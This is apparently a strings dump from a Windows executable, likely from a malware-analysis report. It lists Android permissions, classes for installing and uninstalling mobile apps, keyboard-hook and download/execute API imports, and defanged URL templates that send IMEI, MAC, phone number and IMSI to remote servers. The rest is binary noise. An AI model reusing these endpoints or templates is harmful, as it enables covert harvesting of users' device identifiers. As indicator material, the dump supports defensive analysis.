android.permission.READ_PHONE_STATE=

android.permission.READ_PHONE_STATE=

com.android.launcher.permission.INSTALL_SHORTCUT=

com.android.launcher.permission.INSTALL_SHORTCUT=

android.permission.CHANGE_WIFI_MULTICAST_STATE=

android.permission.CHANGE_WIFI_MULTICAST_STATE=

android.permission.VIBRATE=

android.permission.VIBRATE=

com.android.vending.BILLING=

com.android.vending.BILLING=

android.webkit.permission.PLUGIN=

android.webkit.permission.PLUGIN=

android.permission.ACCESS_DOWNLOAD_MANAGER=

android.permission.ACCESS_DOWNLOAD_MANAGER=

com.android.launcher.permission.UNINSTALL_SHORTCUT=

com.android.launcher.permission.UNINSTALL_SHORTCUT=

com.android.launcher.permission.WRITE_SETTINGS=

com.android.launcher.permission.WRITE_SETTINGS=

com.android.launcher.permission.READ_SETTINGS=

com.android.launcher.permission.READ_SETTINGS=

android.permission.BACKUP_DATA=

android.permission.BACKUP_DATA=

android.permission.ACCESS_COARSE_UPDATES=

android.permission.ACCESS_COARSE_UPDATES=

android.permission.RAISED_THREAD_PRIORITY=

android.permission.RAISED_THREAD_PRIORITY=

android.permission.READ_USER_DICTIONARY=

android.permission.READ_USER_DICTIONARY=

android.permission.WRITE_USER_DICTIONARY=

android.permission.WRITE_USER_DICTIONARY=

android.permission.VIBRATION=

android.permission.VIBRATION=

com.android.browser.permission.READ_HISTORY_BOOKMARKS=

com.android.browser.permission.READ_HISTORY_BOOKMARKS=

android.permission.WRITE_SECURE_SETTINGS=

android.permission.WRITE_SECURE_SETTINGS=

com.android.browser.permission.WRITE_HISTORY_BOOKMARKS=

com.android.browser.permission.WRITE_HISTORY_BOOKMARKS=

android.permission.USE_SIP=

android.permission.USE_SIP=

android.permission.USE_CREDENTIALS=

android.permission.USE_CREDENTIALS=

android.permission.UPDATE_DEVICE_STATS=

android.permission.UPDATE_DEVICE_STATS=

android.permission.SET_TIME=

android.permission.SET_TIME=

com.android.alarm.permission.SET_ALARM=

com.android.alarm.permission.SET_ALARM=

android.permission.NFC=

android.permission.NFC=

android.permission.MOUNT_FORMAT_FILESYSTEMS=

android.permission.MOUNT_FORMAT_FILESYSTEMS=

android.permission.MASTER_CLEAR=

android.permission.MASTER_CLEAR=

android.permission.KILL_BACKGROUND_PROCESSES=

android.permission.KILL_BACKGROUND_PROCESSES=

android.permission.INSTALL_LOCATION_PROVIDER=

android.permission.INSTALL_LOCATION_PROVIDER=

android.permission.GLOBAL_SEARCH=

android.permission.GLOBAL_SEARCH=

android.permission.BIND_DEVICE_ADMIN=

android.permission.BIND_DEVICE_ADMIN=

android.permission.BIND_APPWIDGET=

android.permission.BIND_APPWIDGET=

android.permission.SET_WALLPAPER=

android.permission.SET_WALLPAPER=

android.permission.SET_TIME_ZONE=

android.permission.SET_TIME_ZONE=

android.permission.SET_WALLPAPER_HINTS=

android.permission.SET_WALLPAPER_HINTS=

android.permission.SET_PROCESS_LIMIT=

android.permission.SET_PROCESS_LIMIT=

android.permission.SET_PROCESS_FOREGROUND=

android.permission.SET_PROCESS_FOREGROUND=

android.permission.SET_ORIENTATION=

android.permission.SET_ORIENTATION=

android.permission.SET_DEBUG_APP=

android.permission.SET_DEBUG_APP=

android.permission.SET_ANIMATION_SCALE=

android.permission.SET_ANIMATION_SCALE=

android.permission.SET_ALWAYS_FINISH=

android.permission.SET_ALWAYS_FINISH=

android.permission.SET_ACTIVITY_WATCHER=

android.permission.SET_ACTIVITY_WATCHER=

android.permission.RECEIVE_WAP_PUSH=

android.permission.RECEIVE_WAP_PUSH=

android.permission.READ_SYNC_SETTINGS=

android.permission.READ_SYNC_SETTINGS=

android.permission.READ_SYNC_STATS=

android.permission.READ_SYNC_STATS=

android.permission.READ_LOGS=

android.permission.READ_LOGS=

android.permission.READ_FRAME_BUFFER=

android.permission.READ_FRAME_BUFFER=

android.permission.READ_INPUT_STATE=

android.permission.READ_INPUT_STATE=

android.permission.READ_CALENDAR=

android.permission.READ_CALENDAR=

android.permission.PERSISTENT_ACTIVITY=

android.permission.PERSISTENT_ACTIVITY=

android.permission.MODIFY_AUDIO_SETTINGS=

android.permission.MODIFY_AUDIO_SETTINGS=

android.permission.INTERNAL_SYSTEM_WINDOW=

android.permission.INTERNAL_SYSTEM_WINDOW=

android.permission.GET_PACKAGE_SIZE=

android.permission.GET_PACKAGE_SIZE=

android.permission.FORCE_BACK=

android.permission.FORCE_BACK=

android.permission.FLASHLIGHT=

android.permission.FLASHLIGHT=

android.permission.FACTORY_TEST=

android.permission.FACTORY_TEST=

android.permission.DUMP=

android.permission.DUMP=

android.permission.DISABLE_KEYGUARD=

android.permission.DISABLE_KEYGUARD=

android.permission.DIAGNOSTIC=

android.permission.DIAGNOSTIC=

android.permission.CONTROL_LOCATION_UPDATES=

android.permission.CONTROL_LOCATION_UPDATES=

android.permission.CALL_PHONE=

android.permission.CALL_PHONE=

android.permission.ACCESS_SURFACE_FLINGER=

android.permission.ACCESS_SURFACE_FLINGER=

android.permission.ACCESS_MOCK_LOCATION=

android.permission.ACCESS_MOCK_LOCATION=

android.permission.CHANGE_COMPONENT_ENABLED_STATE=

android.permission.CHANGE_COMPONENT_ENABLED_STATE=

uWebBrowser

uWebBrowser

TWLFtp

TWLFtp

KOLFTP

KOLFTP

xcftp

xcftp

applist.json

applist.json

p.dat

p.dat

THttpDownProgeress

THttpDownProgeress

.tsk.cfg

.tsk.cfg

dwonJsMobile.dat

dwonJsMobile.dat

CmdTask

CmdTask

TThreadMobileCmd

TThreadMobileCmd

TThreadMobileCmdInstall

TThreadMobileCmdInstall

TThreadMobileCmdUnInstall

TThreadMobileCmdUnInstall

uTthreadMobileCmd

uTthreadMobileCmd

lblURL

lblURL

lblURLClick

lblURLClick

lblURLMouseEnter

lblURLMouseEnter

lblURLMouseLeave

lblURLMouseLeave

VVV.cncll.net

VVV.cncll.net

TFormWebShowHgT

TFormWebShowHgT

frmWebShow

frmWebShow

ShowWebForm:

ShowWebForm:

TFormWebShow WebNavParms.URL:

TFormWebShow WebNavParms.URL:

TFormWebShow.wb1 not HandleAllocated

TFormWebShow.wb1 not HandleAllocated

frmLoginTips

frmLoginTips

TMonochromeLookup

TMonochromeLookup

Act_Logint

Act_Logint

pngtbshtWeb

pngtbshtWeb

pngtbshtMobWeb

pngtbshtMobWeb

Act_MaxExecute

Act_MaxExecute

Act_MinExecute

Act_MinExecute

Act_HomePageExecute

Act_HomePageExecute

Act_ShowTrayExecute

Act_ShowTrayExecute

Act_CloseExecute

Act_CloseExecute

Act_AboutExecute

Act_AboutExecute

Act_CloseOrTrayExecute

Act_CloseOrTrayExecute

Act_CheckUpdateExecute

Act_CheckUpdateExecute

Act_AutoRunExecute

Act_AutoRunExecute

Act_ShowUserPnlExecute

Act_ShowUserPnlExecute

Act_LoginExecute

Act_LoginExecute

Act_RegExecute

Act_RegExecute

Act_RefExecute

Act_RefExecute

edtSearchKeyPress#

edtSearchKeyPress#

hXXp://web.vsnis.com/index.html?action=search&keyword=

hXXp://web.vsnis.com/index.html?action=search&keyword=

OpenUrl

OpenUrl

/WebShell

/WebShell

/WebShell2

/WebShell2

btns.js

btns.js

hXXp://web.fx.cncll.net/btns/btns.js

hXXp://web.fx.cncll.net/btns/btns.js

\temp.zip

\temp.zip

hXXp://web.vsnis.com/renwu.html?uid=

hXXp://web.vsnis.com/renwu.html?uid=

WMOpenWebUrl

WMOpenWebUrl

hXXp://web.vsnis.com/json/task/task.js

hXXp://web.vsnis.com/json/task/task.js

hXXp://json.app.cncll.net/app/json/advstyle/4.js

hXXp://json.app.cncll.net/app/json/advstyle/4.js

hXXp://json.app.cncll.net/app/json/advstyle/9.js

hXXp://json.app.cncll.net/app/json/advstyle/9.js

%s %s %s %s

%s %s %s %s

?appid=%s&appver=%s&userid=%s&softid=%s&signcode=%s&imie=%s&mac=%s&phonenumber=%s&imsi=%s

?appid=%s&appver=%s&userid=%s&softid=%s&signcode=%s&imie=%s&mac=%s&phonenumber=%s&imsi=%s

?appid=%s&appver=%s&userid=%s&advid=%s&styleid=%s&signcode=%s&imie=%s&mac=%s&phonenumber=%s&imsi=%s

?appid=%s&appver=%s&userid=%s&advid=%s&styleid=%s&signcode=%s&imie=%s&mac=%s&phonenumber=%s&imsi=%s

hXXp://clk.app.cncll.net/adv/ins.aspx

hXXp://clk.app.cncll.net/adv/ins.aspx

TFormWebShowOnly

TFormWebShowOnly

frmWebShowOnly

frmWebShowOnly

pTipsType:%d

pTipsType:%d

ShellExecute

ShellExecute

888888888888888

888888888888888

888888888888

888888888888

88888888888

88888888888

88888888

88888888

username=%s&taskid=%s&action=taskok

username=%s&taskid=%s&action=taskok

hXXp://web.fx.cncll.net/Handler/Handler.ashx

hXXp://web.fx.cncll.net/Handler/Handler.ashx

?456789:;

?456789:;

!"#$%&'()* ,-./0123

!"#$%&'()* ,-./0123

)4."1-2(

)4."1-2(

*5/#2.3)

*5/#2.3)

",71@5 &

",71@5 &

3'627-"(

3'627-"(

1 '-7#&0

1 '-7#&0

1&,#84 .'*

1&,#84 .'*

- 8!3(.%

- 8!3(.%

7&-3!),6%

7&-3!),6%

#5*0' 8$2 .

#5*0' 8$2 .

8'.4"*-7& 0#

8'.4"*-7& 0#

("2%!&8-3*#

("2%!&8-3*#

/5,%!)703

/5,%!)703

(03!,&6)%* 17.'#

(03!,&6)%* 17.'#

$/6 *25#.(8 ',"3

$/6 *25#.(8 ',"3

&18",47%0*

&18",47%0*

'2, / 0&7!4-)1#8

'2, / 0&7!4-)1#8

(3-!0,1'8"5.*2$

(3-!0,1'8"5.*2$

;3 #>6.&

;3 #>6.&

'2, / 0&7!4-)1#

'2, / 0&7!4-)1#

inflate 1.0.4 Copyright 1995-1996 Mark Adler

inflate 1.0.4 Copyright 1995-1996 Mark Adler

inflate 1.2.8 Copyright 1995-2013 Mark Adler

inflate 1.2.8 Copyright 1995-2013 Mark Adler

MiLaiU.exe

MiLaiU.exe

advapi32.dll

advapi32.dll

RegOpenKeyExA

RegOpenKeyExA

RegCloseKey

RegCloseKey

GetKeyboardType

GetKeyboardType

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExA

SetWindowsHookExA

SetKeyboardState

SetKeyboardState

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

MapVirtualKeyA

MapVirtualKeyA

LoadKeyboardLayoutA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardState

GetKeyboardLayoutNameA

GetKeyboardLayoutNameA

GetKeyboardLayoutList

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyboardLayout

GetKeyState

GetKeyState

GetKeyNameTextA

GetKeyNameTextA

GetAsyncKeyState

GetAsyncKeyState

EnumWindows

EnumWindows

EnumThreadWindows

EnumThreadWindows

EnumChildWindows

EnumChildWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

gdi32.dll

gdi32.dll

SetViewportOrgEx

SetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

version.dll

version.dll

WinExec

WinExec

PeekNamedPipe

PeekNamedPipe

GetWindowsDirectoryA

GetWindowsDirectoryA

GetCPInfo

GetCPInfo

CreatePipe

CreatePipe

RegQueryInfoKeyA

RegQueryInfoKeyA

RegFlushKey

RegFlushKey

RegEnumKeyExA

RegEnumKeyExA

RegDeleteKeyA

RegDeleteKeyA

RegCreateKeyExA

RegCreateKeyExA

URLDownloadToFileA

URLDownloadToFileA

FindNextUrlCacheEntryExA

FindNextUrlCacheEntryExA

InternetOpenUrlA

InternetOpenUrlA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

FtpGetFileA

FtpGetFileA

FindCloseUrlCache

FindCloseUrlCache

DeleteUrlCacheEntry

DeleteUrlCacheEntry

ShellExecuteExA

ShellExecuteExA

ShellExecuteA

ShellExecuteA

SHFileOperationA

SHFileOperationA

comdlg32.dll

comdlg32.dll

wsock32.dll

wsock32.dll

iphlpapi.dll

iphlpapi.dll

ws2_32.dll

ws2_32.dll

GdipGetStringFormatHotkeyPrefix

GdipGetStringFormatHotkeyPrefix

GdipSetStringFormatHotkeyPrefix

GdipSetStringFormatHotkeyPrefix

GdipSetImageAttributesColorKeys

GdipSetImageAttributesColorKeys

shlwapi.dll

shlwapi.dll

newdev.dll

newdev.dll

winmm.dll

winmm.dll

5 5]6 7(7

5 5]6 7(7

4%5S5

4%5S5

3

6 6$6(6,6064686

=!=$=)=-=1=5=9===

5 5$5(5,505

9 9$9(9,9

9 9$9(9,9094989
7-7W7}7
8'8 8;8[8
:(;,;0;|;
=%>)>->1>8>
8>
?3?;???\?
6t7s7
2!2)2-242
3 4-434;4@4}4
6/73777
40494_4{4
3L4c4
8%9x9
6"6&6*6.62666
00s0
00
2-2
; 
6(6-6L6x6}6
5]5m5
4!4I4_4
2$2(2,2024282
0#0(0:0>0
1/2
6 6$6(6,6064686
9 9$9(9,909
8%8x8
4 4$4(4
8 8$8(8,8
stdole2.tlbWWW
:WebShell
mUrlsWWW
ShowWebFormW
TaUrl
urlW
licourlWW
-ShowUrlW
OpenUrlW
D]gameurlW
333333333333333333
33333833
3333339
3333333333333338
:*"*"$3338
33333333
33333333333
3333333333338
33338?383
333333333333
:*3:"$3338
333333333333333
KWindows
9uTthreadMobileCmd
?HTTPApp
>WebConst
WLFtp
0IdHTTPHeaderInfo
 IdTCPServer
7USimpleUdpClient
uMsgFilter
UHttpWaitServer
GuHttpDownProgeress
lfrmLoginTips
Font.Charset
Font.Color
Font.Height
Font.Name
Font.Style
PNGImage.Data
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
KeyPreview
OnKeyPress
Picture.Data
6z%ug
%uI"Q?
siTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> 3.
" id="W5M0MpCehiHzreSzNTczkc9d"?> eg
FormLoginTips
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> $
)[A%u
DialogBoxes.DisableAll
PrintOptions.Margins.Left
PrintOptions.Margins.Right
PrintOptions.Margins.Top
PrintOptions.Margins.Bottom
PrintOptions.Header
PrintOptions.HTMLHeader.Strings
PrintOptions.Footer
PrintOptions.Orientation
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
%.fE 
Constraints.MinHeight
Constraints.MinWidth
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
,.Ld=
(X.Ph
,vÔ
rm.Vh
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> BV
" id="W5M0MpCehiHzreSzNTczkc9d"?> J
.rVxu
%dsUVpV
U`%dY
`.Vlq
Q8m%X%Z
@%x:K
6I1.Ix\]Ko
" id="W5M0MpCehiHzreSzNTczkc9d"?> &V
" id="W5M0MpCehiHzreSzNTczkc9d"?> T
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
kiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> ^yq
%SEix>
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
!.iHK
FormWebShow
DisableErrors.fpExceptions
BtnImage.Data
BgPic.Data
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
HTMLCode.Strings
PicBackground.Data
IEC hXXp://VVV.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
CRT curv
PicBtnClose.Data
PicBtnExpand.Data
FormWebShowOnly
" id="W5M0MpCehiHzreSzNTczkc9d"?> hJ
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
}G.ld
" id="W5M0MpCehiHzreSzNTczkc9d"?> R
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> f!C
" id="W5M0MpCehiHzreSzNTczkc9d"?> y1
PicBtnLeft.Data
PicBtnRight.Data
TabPic.Data
ScrollLeftPic.Data
ScrollRightPic.Data
CloseBtnPic.Data
MenuBtnPic.Data
NewBtnPic.Data
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
edtSearchKeyPress
" id="W5M0MpCehiHzreSzNTczkc9d"?> i
" id="W5M0MpCehiHzreSzNTczkc9d"?> a
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
\.wm|||_
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
BGPic.Data
PicUp.Data
PicDown.Data
PicBG.Data
PicThumb.Data
" id="W5M0MpCehiHzreSzNTczkc9d"?> m=z
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> _R
K$.up
%Dn3:
@Mh?.Me
yHV.He
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> H
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
.uHT&
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> tCr
" id="W5M0MpCehiHzreSzNTczkc9d"?> )
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
" id="W5M0MpCehiHzreSzNTczkc9d"?> =&
" id="W5M0MpCehiHzreSzNTczkc9d"?> 
Act_Login
version="11.0.2902.10471"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
errorUrl
{surl}
updateUrl
LocalExe
hXXp://web.fx.cncll.net/left/left.html
hXXp://web.fx.cncll.net/left/buttom.html
loginurl
iconurl
advurl
keyword
TFORMLOGINTIPS
TFORMWEBSHOW
TFORMWEBSHOWONLY
,Unsupported Application Extension block size
Unknown GIF block type'Object type not supported for operation
Unsupported PixelFormat
Invalid stream operation
Invalid extension introducerúiled to allocate memory for GIF DIB
Unsupported Media Type
HTTP version not supported
Unknown Protocol(Request method requires HTTP version 1.1 Header has already been written.
Error in parsing command.!Unsupported authorization scheme.6Cannot change session state when the server is active.DThis authentication method is already registered with class name %s.
Object type not supported.
Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.
Reply Code is not valid: %s Thread must be specified for the scheduler.7Cannot change the scheduler while the server is Active.
Command not supported.
Address type not supported."%d: Circular links are not allowed
File "%s" not found
Not Connected$Can not bind in port range (%d - %d)
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.
Invalid Port Range (%d - %d)
%s is not a valid service.
%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.
Set Size Exceeded.)UDP is not support in this SOCKS version.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Protocol not supported.
Socket type not supported."Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
Socket Error # %d
Operation would block.
Operation now in progress.
Operation already in progress.
Socket operation on non-socket.
Destination address required.*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s=Error decoding URL style (%%XX) encoded string at position ÑInvalid URL encoded character (%s) at position %d&Cannot change the size of a JPEG image
JPEG error #%d
Error4Failed attempting to retrieve time zone information.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Connecting to %s.
"%s" is an invalid path
UTF-7Ênnot remove shell notification iconÊnnot create shell notification icon"%s requires Windows Vista or later
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
Invalid clipboard format Clipboard does not support Icons
Cannot open clipboard/Menu '%s' is already being used by another form
- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.
Invalid input value7Invalid input value. Use escape key to abandon changes
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'
No help found for %s#No context-sensitive help installed
Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic$Unknown picture file extension (.%s)
Unsupported clipboard format
Error reading %s%s%s: %s
Failed to create key %s
Failed to get data for '%s'
Failed to set data for '%s'
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list Too many rows or columns deleted$%s not in a class registration group
Property %s does not exist
Thread creation error: %s
Thread Error: %s (%d)
Cannot create file "%s". %s1Fixed column count must be less than column count Fixed row count must be less than row count
Cannot open file "%s". %s
Grid too large for operation
Unable to write to %s
Invalid stream format$''%s'' is not a valid component name
Invalid data type for '%s' List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d)
Ancestor for '%s' not found
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
External exception %x
Interface not supported
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
Invalid variant operation
Invalid NULL variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)
Integer overflow Invalid floating point operation
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Operation aborted
!'%s' is not a valid integer value('%s' is not a valid floating point value
'%s' is not a valid date
'%s' is not a valid time!'%s' is not a valid date and time
'%s' is not a valid GUID value
I/O error %d
1.0.1011.1935
1.0.0.0
3e3t3>